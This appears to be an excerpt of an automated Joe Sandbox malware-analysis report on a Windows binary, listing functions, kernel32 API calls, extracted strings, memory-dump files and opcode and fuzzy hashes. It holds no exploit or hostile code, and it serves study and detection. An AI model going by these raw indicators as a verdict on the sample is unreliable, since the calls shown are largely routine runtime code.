GetProcAddress.KERNEL32(00000000,GetCurrentPackageId), ref: 000B9E38
GetProcAddress.KERNEL32(00000000,GetTickCount64), ref: 000B9E49
GetProcAddress.KERNEL32(00000000,GetFileInformationByHandleEx), ref: 000B9E5A
GetProcAddress.KERNEL32(00000000,SetFileInformationByHandle), ref: 000B9E6B
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 000B9E7C
GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 000B9E8D
GetProcAddress.KERNEL32(00000000,WakeConditionVariable), ref: 000B9E9E
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 000B9EAF
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 000B9EC0
GetProcAddress.KERNEL32(00000000,InitializeSRWLock), ref: 000B9ED1
GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 000B9EE2
GetProcAddress.KERNEL32(00000000,TryAcquireSRWLockExclusive), ref: 000B9EF3
GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 000B9F04
GetProcAddress.KERNEL32(00000000,SleepConditionVariableSRW), ref: 000B9F15
GetProcAddress.KERNEL32(00000000,CreateThreadpoolWork), ref: 000B9F26
GetProcAddress.KERNEL32(00000000,SubmitThreadpoolWork), ref: 000B9F37
GetProcAddress.KERNEL32(00000000,CloseThreadpoolWork), ref: 000B9F48
GetProcAddress.KERNEL32(00000000,CompareStringEx), ref: 000B9F59
GetProcAddress.KERNEL32(00000000,GetLocaleInfoEx), ref: 000B9F6A
GetProcAddress.KERNEL32(00000000,LCMapStringEx), ref: 000B9F7B

Strings

CompareStringEx, xrefs: 000B9F4E
WaitForThreadpoolTimerCallbacks, xrefs: 000B9D94
FlsFree, xrefs: 000B9CEA
GetCurrentPackageId, xrefs: 000B9E2D
CreateThreadpoolWork, xrefs: 000B9F1B
GetCurrentProcessorNumber, xrefs: 000B9E0B
FlsGetValue, xrefs: 000B9CFB
FlsAlloc, xrefs: 000B9CDE
CloseThreadpoolTimer, xrefs: 000B9DA5
SubmitThreadpoolWork, xrefs: 000B9F2C
SetFileInformationByHandle, xrefs: 000B9E60
TryAcquireSRWLockExclusive, xrefs: 000B9EE8
CreateSymbolicLinkW, xrefs: 000B9E21
SleepConditionVariableCS, xrefs: 000B9EB5
GetSystemTimePreciseAsFileTime, xrefs: 000B9E71
CreateThreadpoolWait, xrefs: 000B9DB6
WakeAllConditionVariable, xrefs: 000B9EA4
CloseThreadpoolWork, xrefs: 000B9F3D
InitializeSRWLock, xrefs: 000B9EC6
WakeConditionVariable, xrefs: 000B9E93
CreateThreadpoolTimer, xrefs: 000B9D72
GetLocaleInfoEx, xrefs: 000B9F5F
CreateSemaphoreW, xrefs: 000B9D50
CreateSemaphoreExW, xrefs: 000B9D61
SetThreadpoolTimer, xrefs: 000B9D83
LCMapStringEx, xrefs: 000B9F70
CreateEventExW, xrefs: 000B9D3F
GetTickCount64, xrefs: 000B9E3E
FreeLibraryWhenCallbackReturns, xrefs: 000B9DFA
kernel32.dll, xrefs: 000B9CD1
SleepConditionVariableSRW, xrefs: 000B9F0A
InitOnceExecuteOnce, xrefs: 000B9D2E
InitializeConditionVariable, xrefs: 000B9E82
AcquireSRWLockExclusive, xrefs: 000B9ED7
FlsSetValue, xrefs: 000B9D0C
GetFileInformationByHandleEx, xrefs: 000B9E4F
InitializeCriticalSectionEx, xrefs: 000B9D1D
CloseThreadpoolWait, xrefs: 000B9DD8
FlushProcessWriteBuffers, xrefs: 000B9DE9
ReleaseSRWLockExclusive, xrefs: 000B9EF9
SetThreadpoolWait, xrefs: 000B9DC7

Memory Dump Source

Source File: 00000000.00000002.1697858605.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1697837964.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697882973.00000000000C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697897620.00000000000D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697911255.00000000000D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697924918.00000000000D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697937558.00000000000D6000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_file.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$CloseThreadpoolTimer$CloseThreadpoolWait$CloseThreadpoolWork$CompareStringEx$CreateEventExW$CreateSemaphoreExW$CreateSemaphoreW$CreateSymbolicLinkW$CreateThreadpoolTimer$CreateThreadpoolWait$CreateThreadpoolWork$FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$FlushProcessWriteBuffers$FreeLibraryWhenCallbackReturns$GetCurrentPackageId$GetCurrentProcessorNumber$GetFileInformationByHandleEx$GetLocaleInfoEx$GetSystemTimePreciseAsFileTime$GetTickCount64$InitOnceExecuteOnce$InitializeConditionVariable$InitializeCriticalSectionEx$InitializeSRWLock$LCMapStringEx$ReleaseSRWLockExclusive$SetFileInformationByHandle$SetThreadpoolTimer$SetThreadpoolWait$SleepConditionVariableCS$SleepConditionVariableSRW$SubmitThreadpoolWork$TryAcquireSRWLockExclusive$WaitForThreadpoolTimerCallbacks$WakeAllConditionVariable$WakeConditionVariable$kernel32.dll
API String ID: 667068680-295688737
Opcode ID: 8167c24c59a5484d09fbbcc16190b6714cd9aa6d9b7b9fc6ae51c54a54370ff7
Instruction ID: 296cfeae27023ef79d067957bbc4f5c537883f6e2cbabe7f44f5bc49c87619e9
Opcode Fuzzy Hash: 8167c24c59a5484d09fbbcc16190b6714cd9aa6d9b7b9fc6ae51c54a54370ff7
Instruction Fuzzy Hash: 5161EE71993390BBB704AFF5ED5AEDA3BA8AB0D702700052BB60197161DFBC51819B74

Function 000ADEF0 Relevance: 9.7, APIs: 5, Instructions: 2248COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1697858605.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1697837964.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697882973.00000000000C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697897620.00000000000D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697911255.00000000000D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697924918.00000000000D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697937558.00000000000D6000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a3a36fbd5591f6f3585eb42c35f6d6d98e3860656195e5ebb42e3dbc90d4c0f
Instruction ID: e13601c8c2b30161a85f0870b5aeaa15b11651159c73949357614ec2170e352d
Opcode Fuzzy Hash: 7a3a36fbd5591f6f3585eb42c35f6d6d98e3860656195e5ebb42e3dbc90d4c0f
Instruction Fuzzy Hash: 48F25966A546D45FEF024AB884B53DF6FF24B6B730F2A279986E41F2D3C587010A9B10

Function 000A1000 Relevance: 8.6, Strings: 3, Instructions: 4838COMMON

Download Yara Rule

Strings

EFde, xrefs: 000A391F
EFde, xrefs: 000A2DD8
!/>, xrefs: 000A2DDD

Memory Dump Source

Source File: 00000000.00000002.1697858605.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1697837964.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697882973.00000000000C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697897620.00000000000D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697911255.00000000000D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697924918.00000000000D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697937558.00000000000D6000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_file.jbxd

Similarity

API ID:
String ID: !/>$EFde$EFde
API String ID: 0-183606976
Opcode ID: bfd213874cf5000bfdab0cc7aa7b58253e6864ebce970d660e41dfec99ab9995
Instruction ID: b9ace1cf971e4db6858556b0afc22b93fdcd59341c165506e08b17c89b4e0695
Opcode Fuzzy Hash: bfd213874cf5000bfdab0cc7aa7b58253e6864ebce970d660e41dfec99ab9995
Instruction Fuzzy Hash: 76A33572E219244BDB64CE79CC8179AB2F26F99330F5983E96639EB2D0D7705E418F40

Function 000C17FB Relevance: 6.2, APIs: 4, Instructions: 206fileCOMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000), ref: 000C18EB
FindNextFileW.KERNEL32(00000000,?), ref: 000C19DF
FindClose.KERNEL32(00000000), ref: 000C1A1E
FindClose.KERNEL32(00000000), ref: 000C1A51

Memory Dump Source

Source File: 00000000.00000002.1697858605.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1697837964.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697882973.00000000000C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697897620.00000000000D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697911255.00000000000D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697924918.00000000000D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697937558.00000000000D6000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_file.jbxd

Similarity

API ID: Find$CloseFile$FirstNext
String ID:
API String ID: 1164774033-0
Opcode ID: d785d00f9ae61adc1af9fc4849a6e5450c24565205ad66b234ad365f57540691
Instruction ID: c7c5c55388a25f9868c4f85c400390de60d89d7c2450a7d74ed55dfdb75b67b0
Opcode Fuzzy Hash: d785d00f9ae61adc1af9fc4849a6e5450c24565205ad66b234ad365f57540691
Instruction Fuzzy Hash: 3571C071D091699FDF64AF28DC99FEEBBB9EB06300F5441DDE049A3252DA308E858F50

Function 000BA464 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000BA470
IsDebuggerPresent.KERNEL32 ref: 000BA53C
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 000BA55C
UnhandledExceptionFilter.KERNEL32(?), ref: 000BA566

Memory Dump Source

Source File: 00000000.00000002.1697858605.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1697837964.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697882973.00000000000C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697897620.00000000000D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697911255.00000000000D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697924918.00000000000D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697937558.00000000000D6000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_file.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 701aef890f380427478c142f70fcf8dd48a9ae7cc6a2cfb2897b7bac9242a568
Instruction ID: f855f873936c48a0a8376015fa9fe22405f3e5455c827eebb724938ce03385be
Opcode Fuzzy Hash: 701aef890f380427478c142f70fcf8dd48a9ae7cc6a2cfb2897b7bac9242a568
Instruction Fuzzy Hash: 1B311875D0121C9BDB20DFA4D989BCDBBF8AF08304F1040AAE50CAB251EB759B85CF45

Function 000AFE20 Relevance: 4.9, Strings: 1, Instructions: 3648COMMON

Download Yara Rule

Strings

O^, xrefs: 000B2702

Memory Dump Source

Source File: 00000000.00000002.1697858605.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1697837964.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697882973.00000000000C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697897620.00000000000D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697911255.00000000000D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697924918.00000000000D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697937558.00000000000D6000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_file.jbxd

Similarity

API ID:
String ID: O^
API String ID: 0-1080724011
Opcode ID: ee5276c8784dd58503b5b51679c9293d2ec6b9acd6d7d9f9e3cd8fa7d5fc7bfe
Instruction ID: ae99d46102fce906a69fe80bb585a303004a900edbf979a52c61ec7ba27795ae
Opcode Fuzzy Hash: ee5276c8784dd58503b5b51679c9293d2ec6b9acd6d7d9f9e3cd8fa7d5fc7bfe
Instruction Fuzzy Hash: 18435A26A956D44FEF124A78C8753DB6FF24B27330F2A279686E41F2D3C54B054AAF10

Function 000BCDEA Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 000BCEE2
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 000BCEEC
UnhandledExceptionFilter.KERNEL32(-00000327,?,?,?,?,?,00000000), ref: 000BCEF9

Memory Dump Source

Source File: 00000000.00000002.1697858605.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1697837964.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697882973.00000000000C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697897620.00000000000D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697911255.00000000000D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697924918.00000000000D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697937558.00000000000D6000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_file.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 445e1b8c59de2ae9a37b1f3255a4a57c496955116366689f6a993876d657aa95
Instruction ID: 43a7e9883cdd586058732ed7849978db303793a922854d9f8308f0cd8667bc26
Opcode Fuzzy Hash: 445e1b8c59de2ae9a37b1f3255a4a57c496955116366689f6a993876d657aa95
Instruction Fuzzy Hash: 5431D274901229ABDB21DF64D889BDDBBF8BF08310F5041EAE41CA7251EB749B858F44

Function 000B3D10 Relevance: 3.4, Strings: 1, Instructions: 2114COMMONLIBRARYCODE

Download Yara Rule

Strings

bz, xrefs: 000B52AF

Memory Dump Source

Source File: 00000000.00000002.1697858605.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1697837964.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697882973.00000000000C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697897620.00000000000D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697911255.00000000000D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697924918.00000000000D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697937558.00000000000D6000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_file.jbxd

Similarity

API ID:
String ID: bz
API String ID: 0-1364901316
Opcode ID: 5b550c10ca2bf2820e9b46cd58c4bd143073a46a335993dc0cafe56fedfd1206
Instruction ID: 8eff4f195457a28f76b935594b5bb31fd9ccf9c149f1395ed4839fec86efd7cb
Opcode Fuzzy Hash: 5b550c10ca2bf2820e9b46cd58c4bd143073a46a335993dc0cafe56fedfd1206
Instruction Fuzzy Hash: 91F27C66A556D84FEF024AB884B93DF6FF14B2B330F6A2795C5E46F2D3C507010A9B60

Function 000C6FF2 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,000C6F4D,?,?,00000008,?,?,000C6B1F,00000000), ref: 000C721F

Memory Dump Source

Source File: 00000000.00000002.1697858605.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1697837964.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697882973.00000000000C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697897620.00000000000D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697911255.00000000000D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697924918.00000000000D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697937558.00000000000D6000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_file.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: d636050a1908ed739b109d6b5c7f0f24952fb48b0122c863c6e24888d226200b
Instruction ID: e5f0e81d392170918e42e915b9b678647262fbbef2f397b601b4439c78d01dc4
Opcode Fuzzy Hash: d636050a1908ed739b109d6b5c7f0f24952fb48b0122c863c6e24888d226200b
Instruction Fuzzy Hash: A8B127315146099FD769CF28C48AB697BE1FF45364F29869CE899CF2A1C335E982CF40

Function 000BA220 Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 000BA236

Memory Dump Source

Source File: 00000000.00000002.1697858605.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1697837964.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697882973.00000000000C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697897620.00000000000D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697911255.00000000000D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697924918.00000000000D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697937558.00000000000D6000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_file.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 325ae4bf7224c8295e4d93f6a8084383a34c5da9ed549585c4c8fdcb3f5cfb3e
Instruction ID: 6e28a841ae48c9486133abdd3d43a3b06bb1af75bcfb8ea93e73e7f91256a156
Opcode Fuzzy Hash: 325ae4bf7224c8295e4d93f6a8084383a34c5da9ed549585c4c8fdcb3f5cfb3e
Instruction Fuzzy Hash: 6D517B71A022099FFB15CF58E8917EEBBF4FB45310F14842AD805EB251E7799A40CF61

Function 000BA458 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0001A580), ref: 000BA45D

Memory Dump Source

Source File: 00000000.00000002.1697858605.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1697837964.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697882973.00000000000C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697897620.00000000000D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697911255.00000000000D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697924918.00000000000D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697937558.00000000000D6000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_file.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: f937bf9bb573901456d2bdd8141132653e02d5d37410d38bc6696054670c9536
Instruction ID: bb9d7d36414dcea6694efde09f61b01d8ae67b8a16211b8e52552fa08c922ccf
Opcode Fuzzy Hash: f937bf9bb573901456d2bdd8141132653e02d5d37410d38bc6696054670c9536
Instruction Fuzzy Hash:

Function 000BEFB0 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000BEFB0

Memory Dump Source

Source File: 00000000.00000002.1697858605.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1697837964.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697882973.00000000000C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697897620.00000000000D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697911255.00000000000D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697924918.00000000000D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697937558.00000000000D6000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_file.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 3026f1ca653446bdb3cd604ec4abad482c56634d610f4dafd0b16d8dbc67a760
Instruction ID: f20c03d6abdb599239d72a3b2dc8cdf2406a74a7df919277017f1cd2b86f8fd5
Opcode Fuzzy Hash: 3026f1ca653446bdb3cd604ec4abad482c56634d610f4dafd0b16d8dbc67a760
Instruction Fuzzy Hash: 72A001706032419BA7448F36EA0968A3BAAAB4569170580AAA805C5661EB3894549B11

Function 000B8270 Relevance: .7, Instructions: 669COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1697858605.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1697837964.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697882973.00000000000C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697897620.00000000000D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697911255.00000000000D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697924918.00000000000D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697937558.00000000000D6000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e097fdcbdc5cd7ea3566f174e90c42eb93d6e65e39eda28c91041821ef7e7a2e
Instruction ID: da873a909fb177d21341760ba13f5b3874458aee8e2a7d2876dfef0acadd7020
Opcode Fuzzy Hash: e097fdcbdc5cd7ea3566f174e90c42eb93d6e65e39eda28c91041821ef7e7a2e
Instruction Fuzzy Hash: A922BF76A942845FEF024A78C4A93CF6FE24B6B731F1E275AC9A06F2D2C557010A9B50

Function 000B89D0 Relevance: .6, Instructions: 582COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1697858605.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1697837964.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697882973.00000000000C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697897620.00000000000D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697911255.00000000000D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697924918.00000000000D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697937558.00000000000D6000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61970e7d266d896b18b25a85413c0acb0bea73dc60f73742a9724692a46beaf6
Instruction ID: 0b0e37f49775f864388e6b0f68b59c24bef263c2ce652c7c7f9e9f14859919ce
Opcode Fuzzy Hash: 61970e7d266d896b18b25a85413c0acb0bea73dc60f73742a9724692a46beaf6
Instruction Fuzzy Hash: C812C176E916844FEF018ABCC4A93DF7FE24B6B331F1A2766C5B46B2D2C557040A8B50

Function 000B6030 Relevance: .5, Instructions: 544COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1697858605.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1697837964.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697882973.00000000000C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697897620.00000000000D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697911255.00000000000D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697924918.00000000000D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697937558.00000000000D6000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6244714f25abe250a449e260ef6d07acf3e66be9bca7e9c5768df901d1316f16
Instruction ID: e4c12dd5cc32dac7f11ce26c6918304100e8abb79407aa5f4f71e6626102c706
Opcode Fuzzy Hash: 6244714f25abe250a449e260ef6d07acf3e66be9bca7e9c5768df901d1316f16
Instruction Fuzzy Hash: C912C673E215145B8B18CEBDCC955DEB7F3AFD9334B2A8329A535EB2D4DA3498018780

Function 000B5780 Relevance: .5, Instructions: 499COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1697858605.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1697837964.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697882973.00000000000C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697897620.00000000000D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697911255.00000000000D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697924918.00000000000D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697937558.00000000000D6000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ca2b5840285e5e116186e813ef153b118c4e41b9b3204cde6e69f4fb8093133
Instruction ID: d2d6aba51a7761f0cac8abb0eec45367ce23e2c71abd8f2061cbcb63b129970d
Opcode Fuzzy Hash: 0ca2b5840285e5e116186e813ef153b118c4e41b9b3204cde6e69f4fb8093133
Instruction Fuzzy Hash: 7E120B72E256188FDB54CEBCCC8169DB7F2AB48330F5A8769E579FB2D4D63099008B50

Function 000A9EF0 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1697858605.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1697837964.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697882973.00000000000C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697897620.00000000000D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697911255.00000000000D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697924918.00000000000D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697937558.00000000000D6000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

